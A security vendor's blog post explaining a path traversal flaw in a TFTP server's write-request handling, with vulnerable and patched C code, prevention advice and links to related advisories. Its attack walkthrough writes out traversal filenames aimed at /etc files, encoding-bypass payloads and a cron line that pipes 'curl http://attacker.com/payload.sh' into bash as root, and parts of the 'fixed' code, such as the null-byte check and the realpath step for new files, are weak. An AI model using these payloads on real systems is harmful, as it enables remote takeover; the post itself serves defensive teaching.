Back to Blog
critical SEVERITY12 min read

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

A critical path traversal vulnerability (CWE-22) was discovered and patched in a TFTP server implementation where unsanitized filenames in write requests could allow attackers to overwrite arbitrary files on the host filesystem. This post breaks down how the vulnerability worked, how it was exploited, and what developers can do to prevent similar issues in their own code.

O
By Orbis AppSec
β€’Published May 19, 2026β€’Reviewed June 3, 2026

Answer Summary

This is a path traversal vulnerability (CWE-22) in a TFTP server implementation where unsanitized filenames in write requests allow arbitrary file writes on the host filesystem. Attackers exploit this by sending TFTP write requests with "../" sequences in filenames to escape the intended directory. The fix involves validating and sanitizing all incoming filenames, rejecting requests containing directory traversal patterns, and normalizing paths before file operations.

Vulnerability at a Glance

cweCWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
fixImplement filename validation to reject directory traversal sequences and normalize paths before file operations
riskAttackers can overwrite arbitrary files on the host filesystem, including system configuration files, executables, or sensitive data
languageTFTP Server Implementation
root causeUnsanitized user-supplied filenames in TFTP write requests accepted without path validation
vulnerabilityPath Traversal in TFTP Write Requests

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

Vulnerability ID: V-001 | Severity: πŸ”΄ CRITICAL | CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Introduction

Imagine handing someone a key to a storage room and telling them they can only access shelf number three β€” but you never actually checked whether they could use that key to open every other room in the building. That's essentially what a path traversal vulnerability does in software.

A critical security flaw was recently identified and patched in tqftpserv.c, a TFTP (Trivial File Transfer Protocol) server implementation. The vulnerability allowed an unauthenticated attacker to supply a maliciously crafted filename in a write request and use directory traversal sequences to write arbitrary content to any location on the filesystem accessible to the service process.

For developers working on embedded systems, firmware update servers, network services, or anything that handles file paths derived from user input β€” this is a vulnerability pattern you need to understand deeply. It's deceptively simple, devastatingly impactful, and surprisingly common.


The Vulnerability Explained

What Is Path Traversal?

Path traversal (also known as directory traversal) is a class of vulnerability where an application uses user-controlled input to construct a filesystem path without properly validating or sanitizing it. By injecting special sequences like ../ (dot-dot-slash), an attacker can "climb" out of the intended directory and access or modify files elsewhere on the system.

In this case, the TFTP server was designed to handle firmware write requests (WRQ) from clients. The server would receive a filename from the client and use it β€” without validation β€” to determine where to write the incoming data.

The Technical Details

The vulnerability existed across two files:

  • tqftpserv.c (line 537): Processed incoming WRQ (Write Request) packets without validating or canonicalizing the requested filename.
  • translate.c: Performed unsanitized path concatenation, directly joining a base directory with the client-supplied filename string.

Here's a conceptual illustration of what the vulnerable code pattern looked like:

// VULNERABLE - Conceptual example of the flawed pattern
void handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];

    // ❌ Directly concatenating user-supplied filename with no validation
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // ❌ No check that the resolved path stays within BASE_DIR
    // ❌ No canonicalization of the path
    // ❌ No authorization check for the requesting client

    FILE *fp = fopen(filepath, "wb");
    // ... write received data to fp
}

And in translate.c, the path building looked something like:

// VULNERABLE - Unsanitized path construction
char *build_path(const char *base, const char *requested) {
    char *result = malloc(strlen(base) + strlen(requested) + 2);
    // ❌ No canonicalization, no traversal detection
    sprintf(result, "%s/%s", base, requested);
    return result;
}

How Could It Be Exploited?

TFTP is a simple, UDP-based protocol with no built-in authentication. A client sends a WRQ packet containing the filename it wants to write. In this implementation, that filename was passed directly into the path construction logic.

An attacker on the network could send a WRQ request with a filename like:

../../etc/cron.d/malicious_job

Or more dangerously on embedded/IoT devices:

../../etc/passwd
../../etc/shadow
../../lib/firmware/device_fw.bin
../../etc/init.d/startup_script

Because the path was never canonicalized or validated to remain within the intended base directory, the server would happily resolve BASE_DIR/../../etc/passwd to /etc/passwd and begin writing attacker-controlled content to that file.

Three Compounding Problems

What made this vulnerability particularly severe was the combination of three missing controls:

  1. No filename validation: The server accepted any string as a valid filename, including sequences like ../, ..\\, or URL-encoded variants.
  2. No path canonicalization: The constructed path was never resolved to its absolute form and checked against the allowed base directory.
  3. No authorization check: There was no mechanism to verify whether a given client was permitted to write firmware files at all.

Real-World Impact

The real-world impact of this vulnerability is severe, particularly in the context where TFTP servers are commonly deployed:

Scenario Impact
Embedded/IoT devices Overwrite firmware, bootloader configs, or startup scripts to achieve persistent compromise
Network boot infrastructure Replace PXE boot images to deliver malicious OS images to booting machines
Industrial control systems Corrupt configuration files or PLCs firmware
General servers Overwrite cron jobs, SSH authorized_keys, sudoers, or service configurations

In the worst case, an attacker could achieve persistent remote code execution by overwriting an executable or configuration file that runs at system startup β€” all without any authentication.

Attack Scenario Walkthrough

Let's walk through a realistic attack:

Target: A network appliance running this TFTP server for firmware updates, where the service runs as root (common in embedded environments).

Attacker position: Same network segment (or any network if the TFTP port is exposed).

Step 1: Attacker sends a WRQ packet:

WRQ "../../etc/cron.d/backdoor" mode octet

Step 2: Server constructs path:

/var/tftp/firmware/../../etc/cron.d/backdoor
β†’ resolves to: /etc/cron.d/backdoor

Step 3: Attacker sends data blocks containing:

* * * * * root curl http://attacker.com/payload.sh | bash

Step 4: Within one minute, the cron daemon executes the attacker's payload as root.

Total time: Under 60 seconds. No credentials required.


The Fix

The patch addressed this vulnerability by introducing two critical controls in tqftpserv.c and translate.c:

1. Path Canonicalization and Jail Check

The fix uses realpath() (or an equivalent) to resolve the full, canonical path of the requested file before opening it, then verifies that the resolved path starts with the expected base directory:

// FIXED - Path validation with canonicalization
int handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];
    char resolved[PATH_MAX];

    // Step 1: Construct the candidate path
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // Step 2: Resolve to canonical absolute path
    // realpath() resolves all symlinks, . and .. components
    if (realpath(filepath, resolved) == NULL) {
        // Path doesn't exist yet β€” resolve the parent directory instead
        // and reconstruct carefully
        log_error("Failed to resolve path: %s", filepath);
        return -1;
    }

    // Step 3: Verify the resolved path is within BASE_DIR
    // βœ… This is the critical check that prevents traversal
    if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
        log_warning("Path traversal attempt detected: %s -> %s", 
                    filename, resolved);
        send_error(sock, client, EACCES, "Access denied");
        return -1;
    }

    // Step 4: Now safe to open the file
    FILE *fp = fopen(resolved, "wb");
    if (!fp) {
        send_error(sock, client, errno, "Cannot open file");
        return -1;
    }

    // ... proceed with write
    return 0;
}

2. Filename Sanitization in translate.c

The path construction in translate.c was updated to reject filenames containing traversal sequences before even attempting path construction:

// FIXED - Sanitized path construction
int is_safe_filename(const char *filename) {
    // ❌ Reject empty filenames
    if (!filename || strlen(filename) == 0) return 0;

    // ❌ Reject absolute paths
    if (filename[0] == '/') return 0;

    // ❌ Reject traversal sequences
    if (strstr(filename, "../") != NULL) return 0;
    if (strstr(filename, "..\\") != NULL) return 0;
    if (strcmp(filename, "..") == 0) return 0;

    // ❌ Reject null bytes (path truncation attacks)
    if (memchr(filename, '\0', strlen(filename) + 1) != filename + strlen(filename))
        return 0;

    return 1; // βœ… Filename appears safe
}

char *build_path(const char *base, const char *requested) {
    // βœ… Validate before constructing
    if (!is_safe_filename(requested)) {
        log_warning("Rejected unsafe filename: %s", requested);
        return NULL;
    }

    char *result = malloc(strlen(base) + strlen(requested) + 2);
    if (!result) return NULL;

    sprintf(result, "%s/%s", base, requested);
    return result;
}

Why This Fix Works

The defense is layered β€” which is exactly how security controls should be applied:

  • Layer 1 (translate.c): Reject obviously malicious filenames early, before any filesystem operations occur. This is fast and catches the most common attack patterns.
  • Layer 2 (tqftpserv.c): Even if a traversal sequence somehow slips through (e.g., encoded variants, symlink-based attacks), the canonical path is resolved and verified against the base directory. This is the definitive check.

The combination ensures that even if an attacker finds a way to bypass the string-based check in Layer 1, Layer 2 will catch the actual filesystem-level traversal.

⚠️ Important Note on realpath(): When the target file doesn't yet exist (which is common for write requests), realpath() will fail. The fix should handle this by resolving the parent directory canonically and then appending only the basename of the requested file β€” ensuring both that the parent is within bounds and that the final filename component contains no path separators.


Prevention & Best Practices

Core Principles for Safe File Path Handling

1. Never trust user-supplied path components

Treat any filename or path that comes from a network client, user input, environment variable, or configuration file as untrusted. Always validate before use.

2. Use allowlists, not denylists

The sanitization function above uses a denylist (blocking ../, /, etc.). While this is a good first layer, it's inherently incomplete β€” there are many encoding tricks attackers use:
- URL encoding: %2e%2e%2f β†’ ../
- Double encoding: %252e%252e%252f
- Unicode: ..%c0%af (overlong UTF-8 slash)
- Null bytes: filename.txt\x00../../../etc/passwd

A stronger approach is to allowlist only the characters you expect in valid filenames:

int is_valid_filename_strict(const char *filename) {
    if (!filename || strlen(filename) == 0) return 0;
    if (strlen(filename) > 255) return 0; // Reasonable length limit

    // βœ… Only allow alphanumeric, hyphen, underscore, dot
    // Adjust this regex/character set for your use case
    for (const char *p = filename; *p; p++) {
        if (!isalnum(*p) && *p != '-' && *p != '_' && *p != '.') {
            return 0;
        }
    }

    // βœ… Disallow leading dots (hidden files / relative refs)
    if (filename[0] == '.') return 0;

    return 1;
}

3. Always canonicalize and verify

After constructing a path, always resolve it to its canonical form and verify it falls within your intended directory:

// The canonical path jail check β€” always do this
int path_is_within_base(const char *base, const char *path) {
    char canonical_base[PATH_MAX];
    char canonical_path[PATH_MAX];

    if (!realpath(base, canonical_base)) return 0;
    if (!realpath(path, canonical_path)) return 0;

    // Ensure base ends with / for prefix matching
    size_t base_len = strlen(canonical_base);
    if (canonical_base[base_len - 1] != '/') {
        canonical_base[base_len] = '/';
        canonical_base[base_len + 1] = '\0';
        base_len++;
    }

    return strncmp(canonical_path, canonical_base, base_len) == 0;
}

4. Apply the Principle of Least Privilege

The TFTP server had no authorization check β€” any client could write any file. Even after fixing path traversal, consider:
- Should all clients be able to write files, or only specific ones?
- Should the service run as a dedicated low-privilege user rather than root?
- Should write operations be limited to specific file extensions (e.g., .bin, .fw)?

5. Log and alert on suspicious activity

Even if an attack is blocked, you want to know about it:

if (!path_is_within_base(BASE_DIR, resolved_path)) {
    // Log with enough context for forensics
    log_security_event(
        "PATH_TRAVERSAL_ATTEMPT",
        "client=%s requested_file=%s resolved_path=%s",
        client_addr_str, filename, resolved_path
    );
    send_error_response(client, EACCES);
    return -1;
}

Tools and Techniques to Detect Path Traversal

Tool/Technique Type Notes
CodeQL Static Analysis Excellent taint tracking for path traversal in C/C++, Java, Python
Semgrep Static Analysis Fast, customizable rules; many path traversal rules available
AFL++ / libFuzzer Fuzzing Feed malformed filenames; great for finding edge cases
OWASP ZAP Dynamic Testing Automated path traversal probes for web-exposed services
Burp Suite Dynamic Testing Manual + automated traversal testing for HTTP services
Valgrind/AddressSanitizer Memory Safety Catches buffer overflows that can accompany path bugs
chroot / containers Runtime Defense Even if traversal succeeds, limits filesystem access
seccomp / AppArmor Runtime Defense Restrict which filesystem paths the process can access at OS level

Relevant Security Standards and References


Conclusion

Path traversal vulnerabilities are a timeless class of bug β€” they've been in the OWASP Top 10 for decades, yet they continue to appear in production code. The reason is simple: it's easy to write code that works without thinking about what happens when the input is adversarial.

The key takeaways from this vulnerability and its fix:

  1. User-supplied filenames are untrusted input β€” always treat them that way, regardless of the protocol or context.
  2. Defense in depth works: The fix applied both early rejection (filename sanitization) and a definitive filesystem-level check (canonical path verification). Neither alone is sufficient.
  3. Missing authorization is a force multiplier: Path traversal combined with no access controls meant the attack required zero credentials and zero prior knowledge of the system.
  4. Least privilege limits blast radius: If the TFTP service ran as a dedicated user with access only to the firmware directory, even a successful traversal would have limited impact.
  5. Detection matters: Log suspicious path inputs. Blocked attacks are still valuable signals.

Security is not about writing perfect code β€” it's about building systems that are hard to exploit even when individual components have flaws. Validate inputs early, enforce boundaries at the filesystem level, apply least privilege, and monitor for anomalies.

If you're building any service that handles file paths derived from external input β€” whether it's a TFTP server, a web application, a build system, or an IoT firmware updater β€” take 30 minutes today to audit how you construct and validate those paths. It might be the most valuable 30 minutes you spend this month.


This fix was identified and patched automatically by OrbisAI Security. Automated security scanning can catch these issues before they reach production β€” consider integrating security scanning into your CI/CD pipeline.


Have questions about path traversal or secure file handling? Drop a comment below or reach out to our security team.

Frequently Asked Questions

What is path traversal in TFTP servers?

Path traversal in TFTP servers occurs when the server accepts filenames containing directory traversal sequences (like "../") in write or read requests without validation, allowing attackers to access or modify files outside the intended TFTP root directory.

How do you prevent path traversal in TFTP server implementations?

Prevent path traversal by validating all incoming filenames to reject directory traversal patterns ("../", "..\\", absolute paths), normalizing paths using canonicalization functions, implementing a chroot jail or strict root directory enforcement, and using allowlists for acceptable filename characters.

What CWE is path traversal?

Path traversal is classified as CWE-22: Improper Limitation of a Pathname to a Restricted Directory, also known as "directory traversal." It's part of the broader category of path manipulation vulnerabilities.

Is filtering "../" sequences enough to prevent path traversal?

No, filtering only "../" is insufficient. Attackers can use variations like "..\/", URL-encoded sequences ("%2e%2e%2f"), double encoding, absolute paths ("/etc/passwd"), or OS-specific separators. Proper prevention requires path canonicalization, validation against an allowlist, and enforcement at the filesystem level.

Can static analysis detect path traversal vulnerabilities?

Yes, static analysis tools can detect path traversal by identifying data flows from untrusted sources (network input, user-supplied filenames) to file system operations (open, write, read) without proper sanitization. Tools like Semgrep, CodeQL, and specialized security scanners can flag these patterns effectively.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #44

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versionsβ€”including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.